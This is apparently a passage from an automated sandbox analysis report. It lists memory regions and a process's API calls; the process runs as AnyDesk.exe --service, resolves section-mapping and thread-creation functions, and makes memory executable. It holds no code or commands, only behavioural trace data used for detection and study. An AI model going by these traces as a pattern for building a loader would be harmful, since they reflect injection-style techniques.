id = 4859 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4860 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4861 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4862 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4863 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4864 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4865 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4866 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4867 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4868 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4869 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4870 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4871 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4872 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4873 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4874 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4875 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4876 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4877 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4878 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4879 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4880 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4881 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4882 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4883 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4884 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4885 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4886 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4887 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4888 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4889 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4890 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4891 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4892 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4893 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4894 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4895 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4896 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4897 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4898 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4899 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4900 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4901 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4902 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4903 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4904 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4905 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4906 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4907 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4908 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4909 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4910 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4911 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4912 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4913 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4914 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4915 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4916 start_va = 0x2aa0000 end_va = 0x2b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002aa0000" filename = "" Region: id = 4917 start_va = 0x2d20000 end_va = 0x2e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d20000" filename = "" Region: id = 4918 start_va = 0x2bc0000 end_va = 0x2cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 4919 start_va = 0x380000 end_va = 0x380fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4920 start_va = 0x2ec0000 end_va = 0x2fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 5169 start_va = 0x3e0000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 5170 start_va = 0x3120000 end_va = 0x321ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003120000" filename = "" Region: id = 5171 start_va = 0x3310000 end_va = 0x340ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003310000" filename = "" Region: id = 5172 start_va = 0xfffa1000 end_va = 0xfffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffa1000" filename = "" Region: id = 5173 start_va = 0x3520000 end_va = 0x361ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003520000" filename = "" Region: id = 5174 start_va = 0x71b60000 end_va = 0x71bb9fff monitored = 0 entry_point = 0x71b61f35 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll") Region: id = 5175 start_va = 0x73940000 end_va = 0x7394ffff monitored = 0 entry_point = 0x739438c1 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 5176 start_va = 0x3620000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003620000" filename = "" Region: id = 5177 start_va = 0x25a0000 end_va = 0x25dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 5178 start_va = 0x3850000 end_va = 0x394ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003850000" filename = "" Region: id = 5179 start_va = 0xfff9e000 end_va = 0xfffa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fff9e000" filename = "" Region: id = 5180 start_va = 0x747a0000 end_va = 0x747adfff monitored = 0 entry_point = 0x747a1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 5181 start_va = 0x39d0000 end_va = 0x3acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039d0000" filename = "" Region: id = 5182 start_va = 0x747e0000 end_va = 0x7481bfff monitored = 0 entry_point = 0x747e145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 5183 start_va = 0x3ad0000 end_va = 0x3c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ad0000" filename = "" Region: id = 5184 start_va = 0x747d0000 end_va = 0x747d4fff monitored = 0 entry_point = 0x747d15df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 5185 start_va = 0xf40000 end_va = 0xf7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 5186 start_va = 0x3ca0000 end_va = 0x3d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ca0000" filename = "" Region: id = 5187 start_va = 0xfff9b000 end_va = 0xfff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fff9b000" filename = "" Region: id = 5188 start_va = 0x71b50000 end_va = 0x71b5cfff monitored = 0 entry_point = 0x71b52012 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 5189 start_va = 0x3da0000 end_va = 0x3f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003da0000" filename = "" Region: id = 5190 start_va = 0x71b40000 end_va = 0x71b4ffff monitored = 0 entry_point = 0x71b41526 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 5191 start_va = 0x71b20000 end_va = 0x71b31fff monitored = 0 entry_point = 0x71b218f2 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 5192 start_va = 0x74850000 end_va = 0x74893fff monitored = 0 entry_point = 0x748663f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 5193 start_va = 0x770000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 5194 start_va = 0x71b10000 end_va = 0x71b17fff monitored = 0 entry_point = 0x71b1131e region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 5207 start_va = 0x71ad0000 end_va = 0x71b07fff monitored = 0 entry_point = 0x71ad990e region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 5208 start_va = 0x3f30000 end_va = 0x413ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f30000" filename = "" Region: id = 5209 start_va = 0x27c0000 end_va = 0x27fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027c0000" filename = "" Region: id = 5210 start_va = 0x3dd0000 end_va = 0x3ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003dd0000" filename = "" Region: id = 5211 start_va = 0x3f20000 end_va = 0x3f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f20000" filename = "" Region: id = 5212 start_va = 0xfff98000 end_va = 0xfff9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fff98000" filename = "" Region: id = 5213 start_va = 0x71ab0000 end_va = 0x71ac1fff monitored = 0 entry_point = 0x71ab3271 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 5216 start_va = 0x2560000 end_va = 0x259ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 5217 start_va = 0x3420000 end_va = 0x351ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003420000" filename = "" Region: id = 5218 start_va = 0x747c0000 end_va = 0x747c5fff monitored = 0 entry_point = 0x747c1673 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 5219 start_va = 0xfff95000 end_va = 0xfff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fff95000" filename = "" Region: id = 5221 start_va = 0x560000 end_va = 0x583fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 5223 start_va = 0x71aa0000 end_va = 0x71aa7fff monitored = 0 entry_point = 0x71aa2ca6 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll") Region: id = 5224 start_va = 0x747b0000 end_va = 0x747b5fff monitored = 0 entry_point = 0x747b14b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 5225 start_va = 0x71a50000 end_va = 0x71a99fff monitored = 0 entry_point = 0x71a51851 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\SysWOW64\\hnetcfg.dll" (normalized: "c:\\windows\\syswow64\\hnetcfg.dll") Region: id = 5226 start_va = 0x71a30000 end_va = 0x71a43fff monitored = 0 entry_point = 0x71a31da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 5227 start_va = 0x71a20000 end_va = 0x71a29fff monitored = 0 entry_point = 0x71a24d20 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\SysWOW64\\slc.dll" (normalized: "c:\\windows\\syswow64\\slc.dll") Region: id = 5228 start_va = 0x71a00000 end_va = 0x71a15fff monitored = 0 entry_point = 0x71a02061 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\SysWOW64\\gpapi.dll" (normalized: "c:\\windows\\syswow64\\gpapi.dll") Region: id = 5229 start_va = 0x719e0000 end_va = 0x719f6fff monitored = 0 entry_point = 0x719e1c9d region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 5230 start_va = 0xc10000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 5231 start_va = 0x2930000 end_va = 0x296ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002930000" filename = "" Region: id = 5232 start_va = 0x2fc0000 end_va = 0x30bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002fc0000" filename = "" Region: id = 5233 start_va = 0x3410000 end_va = 0x350ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003410000" filename = "" Region: id = 5234 start_va = 0xfff92000 end_va = 0xfff94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fff92000" filename = "" Region: id = 5235 start_va = 0x3f30000 end_va = 0x402ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f30000" filename = "" Region: id = 5236 start_va = 0x4100000 end_va = 0x413ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 5237 start_va = 0x2930000 end_va = 0x296ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002930000" filename = "" Region: id = 5238 start_va = 0x3620000 end_va = 0x371ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003620000" filename = "" Region: id = 5239 start_va = 0x3780000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 5240 start_va = 0xfff92000 end_va = 0xfff94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fff92000" filename = "" Region: id = 5247 start_va = 0x2780000 end_va = 0x27bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002780000" filename = "" Region: id = 5248 start_va = 0x3a40000 end_va = 0x3b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a40000" filename = "" Region: id = 5249 start_va = 0x560000 end_va = 0x583fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 5258 start_va = 0x390000 end_va = 0x3a9fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Thread: id = 441 os_tid = 0x998 [0181.680] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="LdrLoadDll", Ordinal=0x0, ProcedureAddress=0x36fb94 | out: ProcedureAddress=0x36fb94*=0x76f3c43a) returned 0x0 [0181.680] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="LdrUnloadDll", Ordinal=0x0, ProcedureAddress=0x36fb9c | out: ProcedureAddress=0x36fb9c*=0x76f411d7) returned 0x0 [0181.681] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtQuerySystemInformation", Ordinal=0x0, ProcedureAddress=0x36fba0 | out: ProcedureAddress=0x36fba0*=0x76f1fda0) returned 0x0 [0181.681] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtCreateSection", Ordinal=0x0, ProcedureAddress=0x36fba4 | out: ProcedureAddress=0x36fba4*=0x76f1ff94) returned 0x0 [0181.681] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtMapViewOfSection", Ordinal=0x0, ProcedureAddress=0x36fba8 | out: ProcedureAddress=0x36fba8*=0x76f1fc40) returned 0x0 [0181.681] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtClose", Ordinal=0x0, ProcedureAddress=0x36fbac | out: ProcedureAddress=0x36fbac*=0x76f1f9d0) returned 0x0 [0181.681] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtUnmapViewOfSection", Ordinal=0x0, ProcedureAddress=0x36fbb0 | out: ProcedureAddress=0x36fbb0*=0x76f1fc70) returned 0x0 [0181.681] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtDuplicateObject", Ordinal=0x0, ProcedureAddress=0x36fbb4 | out: ProcedureAddress=0x36fbb4*=0x76f1fe34) returned 0x0 [0181.681] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtTerminateThread", Ordinal=0x0, ProcedureAddress=0x36fbb8 | out: ProcedureAddress=0x36fbb8*=0x76f20074) returned 0x0 [0181.681] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="NtProtectVirtualMemory", Ordinal=0x0, ProcedureAddress=0x36fbbc | out: ProcedureAddress=0x36fbbc*=0x76f20028) returned 0x0 [0181.681] LdrGetProcedureAddress (in: BaseAddress=0x76f00000, Name="RtlCreateUserThread", Ordinal=0x0, ProcedureAddress=0x36fbc0 | out: ProcedureAddress=0x36fbc0*=0x76fae5d1) returned 0x0 [0181.681] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="kernel32", BaseAddress=0x36fbf4 | out: BaseAddress=0x36fbf4*=0x752b0000) returned 0x0 [0181.681] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="HeapAlloc", Ordinal=0x0, ProcedureAddress=0x36fbc8 | out: ProcedureAddress=0x36fbc8*=0x76f2e026) returned 0x0 [0181.681] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="HeapReAlloc", Ordinal=0x0, ProcedureAddress=0x36fbcc | out: ProcedureAddress=0x36fbcc*=0x76f41f6e) returned 0x0 [0181.682] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="HeapFree", Ordinal=0x0, ProcedureAddress=0x36fbd0 | out: ProcedureAddress=0x36fbd0*=0x752c14a9) returned 0x0 [0181.682] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetProcessHeap", Ordinal=0x0, ProcedureAddress=0x36fbd4 | out: ProcedureAddress=0x36fbd4*=0x752c14c9) returned 0x0 [0181.682] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ExitProcess", Ordinal=0x0, ProcedureAddress=0x36fbd8 | out: ProcedureAddress=0x36fbd8*=0x752c79c8) returned 0x0 [0181.682] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetCommandLineA", Ordinal=0x0, ProcedureAddress=0x36fbdc | out: ProcedureAddress=0x36fbdc*=0x752c5159) returned 0x0 [0181.682] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x36fbe0 | out: ProcedureAddress=0x36fbe0*=0x752c4317) returned 0x0 [0181.682] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetModuleHandleW", Ordinal=0x0, ProcedureAddress=0x36fbe4 | out: ProcedureAddress=0x36fbe4*=0x752c3460) returned 0x0 [0181.682] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetDefaultDllDirectories", Ordinal=0x0, ProcedureAddress=0x36fbe8 | out: ProcedureAddress=0x36fbe8*=0x753d208a) returned 0x0 [0181.682] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetSearchPathMode", Ordinal=0x0, ProcedureAddress=0x36fbec | out: ProcedureAddress=0x36fbec*=0x7534072b) returned 0x0 [0181.682] SetDefaultDllDirectories (DirectoryFlags=0x800) returned 1 [0181.682] SetSearchPathMode (Flags=0x8001) returned 1 [0181.683] GetModuleHandleW (lpModuleName=0x0) returned 0xfd0000 [0181.683] VirtualProtect (in: lpAddress=0xfd01f0, dwSize=0x28, flNewProtect=0x4, lpflOldProtect=0x36fb78 | out: lpflOldProtect=0x36fb78*=0x2) returned 1 [0183.604] VirtualProtect (in: lpAddress=0xfd01f0, dwSize=0x28, flNewProtect=0x2, lpflOldProtect=0x36fb78 | out: lpflOldProtect=0x36fb78*=0x4) returned 1 [0184.881] GetProcessHeap () returned 0x590000 [0184.881] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xbc5e00) returned 0x1f50020 [0184.883] GetProcessHeap () returned 0x590000 [0184.883] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x590000) returned 1 [0184.884] GetProcessHeap () returned 0x590000 [0184.884] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x3e6c) returned 0x593060 [0185.693] GetProcessHeap () returned 0x590000 [0185.694] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x593060 | out: hHeap=0x590000) returned 1 [0185.705] VirtualProtect (in: lpAddress=0xfd4000, dwSize=0xbd5e00, flNewProtect=0x40, lpflOldProtect=0x36ea64 | out: lpflOldProtect=0x36ea64*=0x8) returned 1 [0186.286] GetModuleHandleW (lpModuleName=0x0) returned 0xfd0000 [0186.286] GetModuleHandleW (lpModuleName=0x0) returned 0xfd0000 [0186.286] GetCommandLineA () returned="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --service" [0186.287] GetProcessHeap () returned 0x590000 [0186.357] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x1f50020 | out: hHeap=0x590000) returned 1 [0186.691] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="kernel32.dll", BaseAddress=0x36e90c | out: BaseAddress=0x36e90c*=0x752b0000) returned 0x0 [0186.691] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x36e910 | out: ProcedureAddress=0x36e910*=0x752c498f) returned 0x0 [0186.691] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x71ee0000 [0188.296] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerGetLineInfoW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x71ef48d8) returned 0x0 [0188.296] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerClose", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x71ef38b0) returned 0x0 [0188.296] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerGetDevCapsW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x71ef47c0) returned 0x0 [0188.296] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerOpen", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x71ef42cd) returned 0x0 [0188.296] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerGetLineControlsW", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x71ef4ac0) returned 0x0 [0188.296] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="waveInGetNumDevs", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x71ee9025) returned 0x0 [0188.296] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerGetNumDevs", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x71ef3884) returned 0x0 [0188.296] LdrGetProcedureAddress (in: BaseAddress=0x71ee0000, Name="mixerSetControlDetails", Ordinal=0x0, ProcedureAddress=0x36e908 | out: ProcedureAddress=0x36e908*=0x71ef4c5d) returned 0x0 [0188.296] LdrGetProcedureAddress 